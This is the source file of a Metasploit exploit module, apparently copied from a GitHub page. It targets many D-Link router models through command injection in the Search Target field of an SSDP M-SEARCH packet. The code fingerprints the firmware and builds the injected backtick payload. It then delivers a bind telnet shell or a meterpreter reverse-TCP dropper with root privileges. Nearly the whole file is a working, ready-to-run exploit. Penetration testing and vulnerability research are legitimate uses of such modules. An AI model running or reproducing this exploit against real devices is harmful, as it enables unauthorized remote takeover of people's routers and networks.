Path: blob/master/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb
32951 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10include Msf::Exploit::Remote::Udp11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEARCH packet.',18'Description' => %q{19A command injection vulnerability exists in multiple D-Link network products, allowing an attacker20to inject arbitrary command to the UPnP via a crafted M-SEARCH packet.21Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900.22An attacker can perform a remote command execution by injecting the payload into the23`Search Target` (ST) field of the SSDP M-SEARCH discover packet.24After successful exploitation, an attacker will have full access with `root` user privileges.2526NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads27when using the Linux Dropper target. Some D-Link devices do not have the `wget` command so28configure `echo` as flavor with the command set CMDSTAGER::FLAVOR echo.2930The following D-Link network products and firmware are vulnerable:31- D-Link Router model GO-RT-AC750 revisions Ax with firmware v1.01 or older;32- D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older;33- D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older;34- D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older;35- D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older;36- D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older;37- D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older;38- D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older;39- D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older;40- D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older;41- D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older;42- D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older;43- D-Link Router model DIR-845L revisions Ax with firmware v1.02b05 or older;44- D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older;45- D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older;46- D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older;47- D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older;48- D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older;49- D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older;50- D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older;51- D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older;52- D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older;53- D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older;54- D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older;55- D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older;56- probably more looking at the scale of impacted devices :-(57},58'License' => MSF_LICENSE,59'Author' => [60'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor61'Zach Cutlip', # Discovery of the vulnerability62'Michael Messner <[email protected]>',63'Miguel Mendez Z. (s1kr10s)',64'Pablo Pollanco (secenv)',65'Naihsin https://github.com/naihsin'6667],68'References' => [69['CVE', '2023-33625'],70['CVE', '2020-15893'],71['CVE', '2019-20215'],72['URL', 'https://attackerkb.com/topics/uqicA23ecz/cve-2023-33625'],73['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'],74['URL', 'https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73'],75['URL', 'https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'],76['URL', 'https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/'],77['URL', 'https://github.com/naihsin/IoT/blob/main/D-Link/DIR-600/cmd%20injection/README.md']78],79'DisclosureDate' => '2013-02-01',80'Privileged' => true,81'Targets' => [82[83'Unix Command',84{85'Platform' => 'unix',86'Arch' => ARCH_CMD,87'Type' => :unix_cmd,88'DefaultOptions' => {89'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd'90}91}92],93[94'Linux Dropper',95{96'Platform' => 'linux',97'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE],98'Type' => :linux_dropper,99'CmdStagerFlavor' => ['echo', 'wget'],100'Linemax' => 900,101'DefaultOptions' => {102'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'103}104}105]106],107'DefaultTarget' => 0,108'DefaultOptions' => {109'RPORT' => 1900,110'SSL' => false111},112'Notes' => {113'Stability' => [CRASH_SAFE],114'Reliability' => [REPEATABLE_SESSION],115'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]116}117)118)119register_options([120OptString.new('URN', [true, 'Set URN payload', 'urn:device:1']),121OptPort.new('HTTP_PORT', [true, 'The HTTP port for the HTTP and SOAP requests sent to detect versions', 80])122])123end124125def vuln_version?(res)126# checks the model, firmware and hardware version127@d_link = { 'product' => nil, 'firmware' => nil, 'hardware' => nil, 'arch' => nil }128html = Nokogiri.HTML(res.body, nil, 'UTF-8')129130# USE CASE #1: D-link devices with static HTML pages with model and version information131# class identifiers: <span class="product">, <span class="version"> and <span class="hwversion">132# See USE CASE #4 for D-link devices that use javascript to dynamically generate the model and firmware version133product = html.css('span[@class="product"]')134@d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil?135firmware = html.css('span[@class="version"]')136@d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil?137138# DIR-600, DIR-300 hardware B revision and maybe other models are using the "version" class tag for both firmware and hardware version139@d_link['hardware'] = firmware[1].text.split(':')[1].strip unless firmware[1].nil?140# otherwise search for the "hwversion" class tag141hardware = html.css('span[@class="hwversion"]')142@d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil?143144# USE CASE #2: D-link devices with static HTML pages with model and version information145# class identifiers: <div class="pp">, <div class="fwv"> and <div class="hwv">146if @d_link['product'].nil?147product = html.css('div[@class="pp"]')148@d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil?149firmware = html.css('div[@class="fwv"]')150@d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil?151hardware = html.css('div[@class="hwv"]')152@d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil?153end154155# USE CASE #3: D-link devices with html below for model, firmware and hardware version156# <td>Product Page : <a href='http://support.dlink.com.tw' target=_blank><font class=l_tb>DIR-300</font></a> </td>157# <td noWrap align="right">Hardware Version : rev N/A </td>158# <td noWrap align="right">Firmware Version : 1.06 </td>159if @d_link['product'].nil?160hwinfo_table = html.css('td')161hwinfo_table.each do |hwinfo|162@d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Product Page/i || hwinfo.text =~ /Product/i163@d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Hardware Version/i164@d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Firmware Version/i165end166end167168# USE CASE #4: D-Link devices with HTML listed below that contains the model, firmware and hardware version169# <table id="header_container" border="0" cellpadding="5" cellspacing="0" width="838" align="center">170# <tr>171# <td width="100%"> <script>show_words(TA2)</script>: <a href="http://support.dlink.com.tw/">DIR-835</a></td>172# <td align="right" nowrap><script>show_words(TA3)</script>: A1 </td>173# <td align="right" nowrap><script>show_words(sd_FWV)</script>: 1.04</td>174# <td> </td>175# </tr>176# </table>177if @d_link['product'].nil?178hwinfo_table = html.css('table#header_container td')179hwinfo_table.each do |hwinfo|180@d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA2\)/i181@d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA3\)/i182@d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(sd_FWV\)/i183end184end185186# USE CASE #5: D-Link devices with dynamically generated version and hardware information187# Create HNAP POST request to get these hardware details188if @d_link['product'].nil?189xml_soap_data = <<~EOS190<?xml version="1.0" encoding="utf-8"?>191<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">192<soap:Body>193<GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/" />194</soap:Body>195</soap:Envelope>196EOS197res = send_request_cgi({198'rport' => datastore['HTTP_PORT'],199'method' => 'POST',200'ctype' => 'text/xml',201'uri' => normalize_uri(target_uri.path, 'HNAP1', '/'),202'data' => xml_soap_data.to_s,203'headers' => {204'SOAPACTION' => '"http://purenetworks.com/HNAP1/GetDeviceSettings"'205}206})207if res && res.code == 200 && res.body.include?('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>')208xml = res.get_xml_document209unless xml.blank?210xml.remove_namespaces!211@d_link['product'] = xml.css('ModelName').text212@d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ')213@d_link['hardware'] = xml.css('HardwareVersion').text214end215end216end217218# USE CASE #6: D-Link devices with dynamically generated version and hardware information219# Create a DHMAPI POST request to get these hardware details220if @d_link['product'].nil?221xml_soap_data = <<~EOS222<?xml version="1.0" encoding="utf-8"?>223<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">224<soap:Body>225<GetDeviceSettings/>226</soap:Body>227</soap:Envelope>228EOS229res = send_request_cgi({230'rport' => datastore['HTTP_PORT'],231'method' => 'POST',232'ctype' => 'text/xml',233'uri' => normalize_uri(target_uri.path, 'DHMAPI', '/'),234'data' => xml_soap_data.to_s,235'headers' => {236'API-ACTION' => 'GetDeviceSettings'237}238})239if res && res.code == 200 && res.body.include?('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>')240xml = res.get_xml_document241unless xml.blank?242xml.remove_namespaces!243@d_link['product'] = xml.css('ModelName').text244@d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ')245@d_link['hardware'] = xml.css('HardwareVersion').text246end247end248end249250# check the vulnerable product and firmware versions251case @d_link['product']252when 'GO-RT-AC750'253@d_link['arch'] = 'mipsbe'254return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.01') && @d_link['hardware'][0] == 'A'255when 'DIR-300'256if Rex::Version.new(@d_link['firmware']) >= Rex::Version.new('2.00') && Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.15') # hardware version B257@d_link['arch'] = 'mipsle'258return true259elsif Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') # hardware version A260@d_link['arch'] = 'mipsbe'261return true262end263when 'DIR-600'264@d_link['arch'] = 'mipsle'265return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.18') && @d_link['hardware'][0] == 'B'266when 'DIR-645'267@d_link['arch'] = 'mipsle'268return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')269when 'DIR-815'270@d_link['arch'] = 'mipsle'271return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04')272when 'DIR-816L'273@d_link['arch'] = 'mipsbe'274return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.06') && (@d_link['hardware'][0] == 'B' || @d_link['hardware'] == 'N/A')275when 'DIR-817LW'276@d_link['arch'] = 'mipsbe'277return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')278when 'DIR-818LW', 'DIR-818L'279@d_link['arch'] = 'mipsbe'280return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.04') && @d_link['hardware'][0] == 'B'281282return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && @d_link['hardware'][0] == 'A'283when 'DIR-822'284@d_link['arch'] = 'mipsbe'285return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B'286287return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('3.12') && @d_link['hardware'][0] == 'C'288when 'DIR-823'289@d_link['arch'] = 'mipsbe'290return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.00') && @d_link['hardware'][0] == 'A'291when 'DIR-845L'292@d_link['arch'] = 'mipsle'293return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.02') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')294when 'DIR-850L'295@d_link['arch'] = 'mipsbe'296return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')297when 'DIR-859'298@d_link['arch'] = 'mipsbe'299return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') && @d_link['hardware'][0] == 'A'300when 'DIR-860L'301@d_link['arch'] = 'armle'302return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.10') && @d_link['hardware'][0] == 'A'303304return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B'305when 'DIR-865L'306@d_link['arch'] = 'mipsle'307return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.07') && @d_link['hardware'][0] == 'A'308when 'DIR-868L'309@d_link['arch'] = 'armle'310return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'311312return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.05') && @d_link['hardware'][0] == 'B'313when 'DIR-869'314@d_link['arch'] = 'mipsbe'315return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.03') && @d_link['hardware'][0] == 'A'316when 'DIR-880L'317@d_link['arch'] = 'armle'318return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.08') && @d_link['hardware'][0] == 'A'319when 'DIR-890L', 'DIR-890R'320@d_link['arch'] = 'armle'321return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.11') && @d_link['hardware'][0] == 'A'322when 'DIR-885L', 'DIR-885R'323@d_link['arch'] = 'armle'324return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'325when 'DIR-895L', 'DIR-895R'326@d_link['arch'] = 'armle'327return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'328end329false330end331332def execute_command(cmd, _opts = {})333payload = "#{datastore['URN']};`#{cmd}`"334335connect_udp336header = "M-SEARCH * HTTP/1.1\r\n"337header << "HOST:#{datastore['RHOST']}:#{datastore['RPORT']}\r\n"338header << "ST:#{payload}\r\n"339header << "MX:2\r\n"340header << "MAN:\"ssdp:discover\"\r\n\r\n"341udp_sock.put(header)342disconnect_udp343end344345def check346print_status("Checking if #{peer} can be exploited.")347res = send_request_cgi!({348'rport' => datastore['HTTP_PORT'],349'method' => 'GET',350'ctype' => 'application/x-www-form-urlencoded',351'uri' => normalize_uri(target_uri.path)352})353# Check if target is a D-Link network device354return CheckCode::Unknown('No response received from target.') unless res355return CheckCode::Safe('Likely not a D-Link network device.') unless res.code == 200 && res.body =~ /d-?link/i356357# check if firmware version is vulnerable358return CheckCode::Appears("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") if vuln_version?(res)359# D-link devices with fixed firmware versions360return CheckCode::Safe("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['arch'].nil?361# D-link devices that still could be vulnerable with product information362return CheckCode::Detected("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['product'].nil?363364# D-link devices that still could be vulnerable but no product information available365return CheckCode::Detected366end367368def exploit369print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")370case target['Type']371when :unix_cmd372execute_command(payload.encoded)373when :linux_dropper374# Don't check the response here since the server won't respond375# if the payload is successfully executed.376execute_cmdstager({ linemax: target.opts['Linemax'] })377end378end379end380381382